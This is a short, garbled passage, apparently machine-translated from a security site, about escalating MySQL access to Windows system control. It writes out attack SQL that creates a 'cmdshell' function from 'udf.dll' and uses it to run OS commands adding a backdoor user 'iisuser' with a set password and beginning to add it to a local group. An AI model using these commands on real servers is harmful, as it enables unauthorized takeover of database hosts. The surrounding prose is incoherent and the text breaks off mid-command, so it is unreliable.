mysql provide the right summary of the method of the four it-vulnerability warning-the black bar safety net

A UDF provided the right These provide the right approach I think we already know, I generally write about the specific statement is as follows: create function cmdshell returns string soname ’udf.dll’ select cmdshell’net user iisuser 1 2 3!@ abcABC /add’; select cmdshell’net localgroup...